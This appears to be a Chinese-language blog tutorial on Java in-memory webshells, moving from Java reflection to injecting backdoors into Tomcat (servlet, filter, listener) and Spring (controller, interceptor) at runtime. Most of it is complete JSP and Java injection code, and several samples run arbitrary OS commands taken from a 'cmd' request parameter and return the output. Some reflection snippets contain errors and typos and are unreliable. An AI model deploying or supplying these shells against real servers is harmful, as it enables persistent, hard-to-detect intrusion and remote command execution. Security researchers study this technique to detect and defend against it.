java内存马

学习

在学习内存马前,先需要了解一下Java中的一种语言特性----反射

Java反射机制

  1. Java反射允许程序在运行时自我检查并对内部成员进行操作,动态调用信息以及动态调用对象方法
  2. 反射机制允许在运行状态中:

    • 对于任意一个类,都知道这个类的所有属性和方法
    • 对于任意一个对象,都能够调用它的任意方法和属性,并且能改变它的属性。
  3. Java反射操作的是java.lang.class对象,所有需要想办法获取到Class对象,下列是三种方式获取一个类的Class对象

    - `类名.class`,如:`com.anbai.sec.classloader.TestHelloWorld.class`。
    - `Class.forName("com.anbai.sec.classloader.TestHelloWorld")`。
    - `classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");`
  4. 对获取数组类型的Class对象需要特别注意,应使用Java类型的描述符方式

    Class<?> doubleArray = Class.forName("[D");//相当于double[].class
    Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
  5. 获取RuntimeClass对象时,则可以使用3中的三种方法

    String className = "java.lang.Runtime"
    Class runtimeName1 = java.lang.Runtime.class;
    Class runtimeName2 = Class.forName("className");
    Class runtimeName3 = ClassLoader.getSystemClassLoader().LoaderClass(className);
  6. 反射调用内部类的时候需要使用$来代替 . ,例如:com.lain.Test类有个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.lain.Test$Hello

Runtime类反射

Runtime类中有一个exec方法可以执行本地命令,所以在大多数的payload中都能看见反射调用Runtime类来执行本地系统命令,

  • 当我们不使用反射执行本地命令代码片段:

    System.out.printn(org.apache.io.IOUtils.toString(Runtime,getRuntime().exec("whoami").getInputStream(),"UTF-8"));//输出命令执行结果
  • 使用反射Runtime执行本地命令:

    Class runtimeClass1 = Class.forName("java.lang.Runtime");//获取Runtime类
    
    Constructor constructor = runtimeClass1.getDeclaredConstructor();
    //runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。
    constructor.setAccessible(true);
    //当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。
    
    Object runtimeInstance = constructor.newInstance();
    //创建Runtime实例,等价 Runtime rt = new Runtime();
    
    Method runtimeMethod = runtimeClass1.getMethod("exec",String.class);
    //获取Runtime类中的exec方法
    
    Process process = (process) runtimeMethod.invoke(runtimeInstance,cmd);
    //调用exec方法,等价rt.exec()
    
    InputStream in = proecss.getInputStream();
    //获取命令执行结果
    
    System.out.println(org.apache.commons.io.IOUtils.toString(in,"UTF-8"));
    //打印命令执行结果

    流程如下:

    1. 反射获取Runtime类对象(Class.forName("java.lang.Runtime"))。
    2. 使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。
    3. 获取Runtime类的exec(String)方法(runtimeClass1.getMethod("exec", String.class);)。

      Method method = clazz.getDeclaredMethod("方法名");
      Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);
    4. 调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))

      method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);

使用反射调用成员变量

获取当前类的所有成员变量:

Field fields = clazz.getDeclaredFields();

获取当前类指定的成员变量:

Field field  = clazz.getDeclaredField("变量名");

getFieldgetDeclaredField的区别同getMethodgetDeclaredMethod

获取成员变量值:

Object obj = field.get(类实例对象);

修改成员变量值:

field.set(类实例对象, 修改后的值);

同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限

如果我们需要修改被final关键字修饰的成员变量,那么我们需要先修改方法

// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

// 修改成员变量值
field.set(类实例对象, 修改后的值);

内存马

概念:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门。

内存马主要分以下几种方式:

  • 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
  • 动态注册 interceptor/controller(使用框架如 spring/struts2)
  • 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
  • 使用 java agent 技术写入字节码

Servlet内存马

  1. 首先介绍一下servletServlet是在 Java Web容器中运行的小程序,通常我们用Servlet来处理一些较为复杂的服务器端的业务逻辑。ServletJava EE的核心,也是所有的MVC框架的实现的根本
  2. 编写一个servlet代码

    package com.example.memshell;
    
    import jakarta.servlet.ServletException;
    import jakarta.servlet.http.HttpServlet;
    import jakarta.servlet.http.HttpServletRequest;
    import jakarta.servlet.http.HttpServletResponse;
    
    import java.io.IOException;
    
    public class Myservlet extends HttpServlet {
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            resp.getWriter().println("Myservlet");
        }
    }
  3. 在web.xml中插入配置servlet标签屏幕截图 2025-04-15 165806.png
  4. 运行项目即可访问到我们编写的servlet文件屏幕截图 2025-04-15 165929.png
  5. 查看ContextConfig.java文件,其中configureContext函数将servlet加载入tomcat容器中,查看调试中的对应关系
    屏幕截图 2025-04-15 170910.png
    8fb53fdcf5140806dd6a61fd5218058.png
  6. ContextConfig函数中有两行主要代码

    context.addChild(wrapper);//向容器添加我们的servlet
    
    context.addServletMappingDecoded(entry.getKey(), entry.getValue());
    //声明servlet与url的映射关系

    我们需要获取context来执行以上代码

  7. 通过调试我们的Myservlet,发现在req.getservletContext()有一个ServletContext,然后在ServletContext中又包含一个Context,其中context中有一个StandardContext

    流程: HttpServletRequest->getServletContext()->ApplicationContext->StandardContext

编写恶意代码

  1. 定义恶意servlet

    <%!
        //定义恶意servlet
    public class Memservlet extends HttpServlet{
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            Runtime.getRuntime().exec("calc");
        }
    }
    %>
  2. 获取context:StandardContext(通过反射)

        //通过反射,拿到getServletContext
        ServletContext servletContext = request.getServletContext();
    
        //通过getServletContext拿到applicationContext
        Field applicationContextField=servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    
        //通过applicationContext拿到standardContext
        Field  standardContextField=applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
  3. context获取Wrapper对象

        //将MemServlet封装到wrapper
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName("memshell");
        wrapper.setServletClass(Memservlet.class.getName());
        wrapper.setServlet(new Memservlet());
  4. 将恶意servlet封装进Wrapper对象

        //将wrapper添加到standardContext,并设置映射URL
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/mem","memshell");//第二个参数需要跟前面setname一致
  5. 示例代码

    <%@ page import="java.io.IOException" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="org.apache.catalina.Wrapper" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%!
        //定义恶意servlet
    public class Memservlet extends HttpServlet{
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            Runtime.getRuntime().exec("calc");
        }
    }
    %>
    <%
        //通过反射,拿到getServletContext
        ServletContext servletContext = request.getServletContext();
    
        //通过getServletContext拿到applicationContext
        Field applicationContextField=servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    
        //通过applicationContext拿到standardContext
        Field  standardContextField=applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
    
        //将MemServlet封装到wrapper
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName("memshell");
        wrapper.setServletClass(Memservlet.class.getName());
        wrapper.setServlet(new Memservlet());
    
        //将wrapper添加到standardContext,并设置映射URL
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/mem","memshell");    //第二个参数需要跟前面setname一致
    %>
    

Filter内存马

提要:Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet

  1. Servlet一样编写一个HelloFilter文件,在super.doFilter处下断点,然后运行项目进行调试

    package com.example.memshell3;
    import jakarta.servlet.FilterChain;
    import jakarta.servlet.ServletException;
    import jakarta.servlet.http.HttpFilter;
    import jakarta.servlet.http.HttpServletRequest;
    import jakarta.servlet.http.HttpServletResponse;
    import java.io.IOException;
    
    public class HelloFilter extends HttpFilter {
        @Override
        protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException, ServletException {
            String cmd = req.getParameter("cmd");
            if (cmd == null) {
                super.doFilter(req, res, chain);
            }else {
                res.setContentType("text/html");
                res.getWriter().println("你输入的命令是:"+cmd);
            }
        }
    }
    
  2. 程序停止在ApplicationFilterChain类中,他内部的DoFilter函数在Filter的数组中拿到了一个Filter,并且每次执行一次DoFilter函数相应的指针都加一位,代表服务端到Servlet,中间有若干个Filter
    屏幕截图 2025-04-15 201641.png
  3. 双击filter数组发现由addFilter给数组赋值,在ApplicationFilterFactory中有createFilterChain会返回ApplicationFilterChaincreateFilterChain会调用addFilterFilterchain中添加Filter数组,而invoke会调用createFilterChain
  4. ApplicationFilterFactorycreateFilterChain函数处下断点重新调试,发现下面有一个filterMaps数组,将程序运行至if处,在下面的变量处得到了filterMaps
    屏幕截图 2025-04-15 204033.png
  5. createFilterChain通过调用StandardContextfindFilterMap来初始化ApplicationFilterChain,从StandardContext来获取数据
  6. 并且filterConfig不为空

      if (filterConfig == null) {
                    log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
                    continue;
                }
  7. StandrdContext中包含一个filterConfig(hashmap),我们需要给filtermapfilterconfig进行赋值,还需要创建FiltermapApplicationConfigFilterDef,在FilterMap中包含filterNameurlPathod
  8. 将自己创建的Filter添加到FilterMap中,然后再添加到FilterDefs,再调用Filterstart方法

编写恶意代码

  • 获取StandardContext方法与servlet类似

        //通过反射,拿到getServletContext
        ServletContext servletContext = request.getServletContext();
    
        //通过getServletContext拿到applicationContext
        Field applicationContextField=servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    
        //通过applicationContext拿到standardContext
        Field  standardContextField=applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
  • 再编写一个恶意Filter

    <%!
    public class ShellFilter extends HttpFilter {
        @Override
        protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
    //        String cmd = req.getParameter("cmd");
    //        if (cmd == null) {
    //            super.doFilter(req, res, chain);
    //        }else {
    //            res.setContentType("text/html");
    //            res.getWriter().println("你输入的命令是:"+cmd);
    //        }
    //        super.doFilter(req,res,chain);
    
             Runtime.getRuntime().exec("calc");
    
        }
    }
    %>
  • 再创建FiltermapFilterDef,调用filterStart方法

        ShellFilter filter = new ShellFilter();
    
        FilterDef def = new FilterDef();
        def.setFilterName("shell-filter");
        def.setFilter(filter);
        def.setFilterClass(filter.getClass().getName());
    
        FilterMap map = new FilterMap();
        map.setFilterName("shell-filter");
        map.addURLPattern("/*");
    
        standardContext.addFilterDef(def);
        standardContext.addFilterMapBefore(map);
        standardContext.filterStart();

示例代码


<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="static java.lang.System.out" %>
<%!
public class ShellFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
//        String cmd = req.getParameter("cmd");
//        if (cmd == null) {
//            super.doFilter(req, res, chain);
//        }else {
//            res.setContentType("text/html");
//            res.getWriter().println("你输入的命令是:"+cmd);
//        }
//        super.doFilter(req,res,chain);

         Runtime.getRuntime().exec("calc");

    }
}
%>
<%
    //通过反射,拿到getServletContext
    ServletContext servletContext = request.getServletContext();

    //通过getServletContext拿到applicationContext
    Field applicationContextField=servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    //通过applicationContext拿到standardContext
    Field  standardContextField=applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);

    ShellFilter filter = new ShellFilter();

    FilterDef def = new FilterDef();
    def.setFilterName("shell-filter");
    def.setFilter(filter);
    def.setFilterClass(filter.getClass().getName());

    FilterMap map = new FilterMap();
    map.setFilterName("shell-filter");
    map.addURLPattern("/*");

    standardContext.addFilterDef(def);
    standardContext.addFilterMapBefore(map);
    standardContext.filterStart();

    out.println("success");

%>

Listener内存马

提要:Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作

ServletContextListener用于监听整个 Servlet 上下文(创建、销毁)
HttpSessionListener当一个HttpSession刚被创建或失效时
ServletContextAttributeListenerServlet 上下文属性进行监听(增删改属性)
ServletRequestListener Request 请求进行监听(创建、销毁)
ServletRequestAttributeListener Request 属性进行监听(增删改属性)
javax.servlet.http.HttpSessionListenerSession 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener Session 属性的监听
  1. 创建一个Listener,对函数打个断点,进行调试,查看谁调用的我们创建的监听器
  2. 发现是StandardContext在调用Listener,StandardContext使用requestDestroyed方法进行调用,instance装载着我们自定义的Listener,它通过getApplicationEventListeners方法进行装载,它会调起List中所有的Listener

    流程:StandardContext(FireRequestInitializeEventListener)->ServletRequestListener(RequestInitialized)

编写恶意代码

  • 获取standradcontext

        //通过反射,拿到getServletContext
        ServletContext servletContext = request.getServletContext();
    
        //通过getServletContext拿到applicationContext
        Field applicationContextField=servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    
        //通过applicationContext拿到standardContext
        Field  standardContextField=applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
        standardContext.addApplicationEventListener(new MyListener());
  • 创建恶意Listener
<%!
public class MyListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest req = sre.getServletRequest();
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Class facadeClass = req.getClass();
            try {
                Field requestField = facadeClass.getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(req);
                Process proc = Runtime.getRuntime().exec(cmd);

                InputStream in = proc.getInputStream();
                InputStreamReader isr = new InputStreamReader(in);
                BufferedReader br = new BufferedReader(isr);

                String line = null;

                while ((line = br.readLine()) != null)
                    request.getResponse().getWriter().println(line);

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    }
}
%>

实例代码

<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.*"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="jakarta.servlet.ServletRequestEvent" %>
<%@ page import="jakarta.servlet.ServletRequest" %>
<%@ page import="jakarta.servlet.ServletRequestListener" %>




<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class MyListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest req = sre.getServletRequest();
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Class facadeClass = req.getClass();
            try {
                Field requestField = facadeClass.getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(req);
                Process proc = Runtime.getRuntime().exec(cmd);

                InputStream in = proc.getInputStream();
                InputStreamReader isr = new InputStreamReader(in);
                BufferedReader br = new BufferedReader(isr);

                String line = null;

                while ((line = br.readLine()) != null)
                    request.getResponse().getWriter().println(line);

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    }
}
%>

<%
    //通过反射,拿到getServletContext
    ServletContext servletContext = request.getServletContext();

    //通过getServletContext拿到applicationContext
    Field applicationContextField=servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    //通过applicationContext拿到standardContext
    Field  standardContextField=applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
    standardContext.addApplicationEventListener(new MyListener());
    out.println("miao~ miao~ miao~");


%>

spring内存马---Controller

提要:Controller负责处理DispatcherServlet分发的请求。将用户请求处理后封装成model返回给view。在springmvc中用@Controller标记一个类为Controller。然后用@RequestMapping等来定义URL请求和Controller方法间的映射

  1. 在demo中编写一个MyController,对编写的Controller进行调试
  2. Controller的注册在DoDispatch处由DispatcherServlet处理web请求,在DispatcherServlet调用HandlerAdapter#handle处理request和response。并且此处用getHandler方法获取了mappedHandlerHandler,mappedHandler是对handlerMappings进行遍历 ,在handlerMapping列表中找对应的处理程序.image-20250416230610883.png
  3. 所以在reture handler处下断点image-20250416231153959.png

    这里我们从RequestMappingHandlerMapping获取到了Mapping,并且调用了getHandler方法屏幕截图 2025-04-16 231714.png

    发现在AbstractHandlerMapping.java中有getHandler函数image-20250416232310018.png

  4. 再进行跟进,发现AbstractHandlerMethodMapping#getHandlerInternal()中对mappingRegistry进行上锁,最后解锁。image-20250416233514841.png

    而在lookupHandlerMethod方法中mappingRegistry获取到了路由,也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马image-20250416234616309.png

  5. AbstractHandlerMethodMapping.java中有registerMapping方法能够添加路由image-20250416235949571.png

    这个类为抽象类,抽象类的父类不一定会有RequestMappingHandlerMapping的实例,但子类一定可以进行实例化。找到handlerMappings第一次赋值的地方image-20250417001235756.png

    发现当detectAllHandlerMappings为真,那么就会从

    BeanFactoryUtils.beansOfTypeIncludingAncestors(context, HandlerMapping.class, true, false);

    获取所有HandlerMappings并且赋值给handlerMappings的数组,否则就从context中获取一个指定名称的变量。

  6. doServicerequest set了一些属性其中就包括WEB_APPLICATION_CONTEXT_ATTRIBUTE,其中就包含application.context image-20250417002214145.png

    getWebApplicationContext()函数的WebApplicationContext类正是ApplicationContext的直接子类

编写恶意代码

  1. 首先需要先获取WebApplicationContext。在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContextspring中获取的是WebApplicationContextWebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。

    WebApplicationContext context=(WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
    RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
    mapping.registerMapping(null,null,null);
  2. 创建恶意Class

    public class InnerClass {
            public String evil() {
                HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
                String cmd = request.getParameter("cmd");
                Runtime runtime = Runtime.getRuntime();
                StringBuilder sb = new StringBuilder();
                try{
                    Process proc = runtime.exec(cmd);
                    BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                    String line = null;
                    while((line = reader.readLine())!=null){
                        sb.append(line).append("\n");
                    }
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
                return sb.toString();
            }
    
        }
  3. 然后在我们要获取webapplicationContext的方法里面new一下,将类填入mapping.registerMapping的第二个参数,第三个参数填入controller.getclass().getMethod()getMethod中填入我们恶意类中的方法

    mapping.registerMapping(null,innerClass,innerClass.getClass().getMethod("evil"));
  4. 生成RequestMappingInfo。传入PatternsRequestConditionController映射的URL)和RequestMethodsRequestCondition(HTTP请求方法)

    RequestMappingInfo info = new RequestMappingInfo(
           new PatternsRequestCondition("/evil"),
           new RequestMethodsRequestCondition(),
           null,null,null,null,null);

    info填入mapping.registerMapping第一个参数

实例代码

package com.example.demo.demos.web;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

@RestController
public class MyController {
    @RequestMapping(value = "/index")
    public String index() {
        return "Hello World";
    }
    @RequestMapping(value = "/java1")
    public String java1() throws NoSuchMethodException {
        WebApplicationContext context= (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        InnerClass innerClass = new InnerClass();
        RequestMappingInfo info = new RequestMappingInfo(
                new PatternsRequestCondition("/evil"),
                new RequestMethodsRequestCondition(),
                null,null,null,null,null);
        mapping.registerMapping(info,innerClass,innerClass.getClass().getMethod("evil"));
        return "success";
    }
@RestController
    public class InnerClass {
        public String evil() {
            HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
            String cmd = request.getParameter("cmd");
            Runtime runtime = Runtime.getRuntime();
            StringBuilder sb = new StringBuilder();
            try{
                Process proc = runtime.exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                String line = null;
                while((line = reader.readLine())!=null){
                    sb.append(line).append("\n");
                }
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return sb.toString();
        }

    }
}

spring内存马---Interceptor

提要:InterceptorTomcatFilter过滤器很类似。区别如下:

  1. Interceptor基于反射,Filter基于函数回调
  2. Interceptor不依赖servlet容器
  3. Interceptor只能对action请求有用
  4. Interceptor可以访问action上下文,栈里的对象。Filter不能
  5. action生命周期中,Interceptor可以被多次调用,Filter只在容器初始化时调用一次
  6. Interceptor可以获取IOC容器中的beanFilter不行

由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作

  1. 对我们自己的Interceptor进行调试,在DispatcherServletgetHandler被调用,持续跟进发现调用AbstractHandlerMapping#getHanler(),在getHandler方法调用了getHandlerExecutionChainimage-20250417155930888.png
  2. AbstractHandlerMapping#getHandlerExecutionChain方法中,它将符合条件的Interceptor添加到chain中,我们需要把我们创建的拦截器添加到List中image-20250417160335298.png
  3. AbstractHandlerMapping的子类的实例对象可以通过web.appliction.context拿到,但adaptedInterceptors为私有变量,所以需要使用反射进行获取image-20250417161123796.png
  4. 而applyPreHandle会将List中所有拦截器调用image-20250417161327535.png

示例恶意代码

package com.example.demo.demos.web;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.List;

@RestController
public class MyController {
    @RequestMapping(value = "/index")
    public String index() {
        return "Hello World";
    }
    @RequestMapping(value = "/inject2")
    public String inject2() {
        WebApplicationContext context= (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        try {
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
            list.add(new InoInterceptor());
        } catch (NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return "inject2 success";
    }
    public class InoInterceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(javax.servlet.http.HttpServletRequest request , javax.servlet.http.HttpServletResponse response, Object handler) throws Exception {
            String cmd = request.getParameter("cmd");
            if(cmd != null) {
                Process proc = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                String line = null;
                while ((line = reader.readLine()) != null) {
                    response.getWriter().println(line);
                }
                return false;
            }
            return true;
        }

    }
}

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空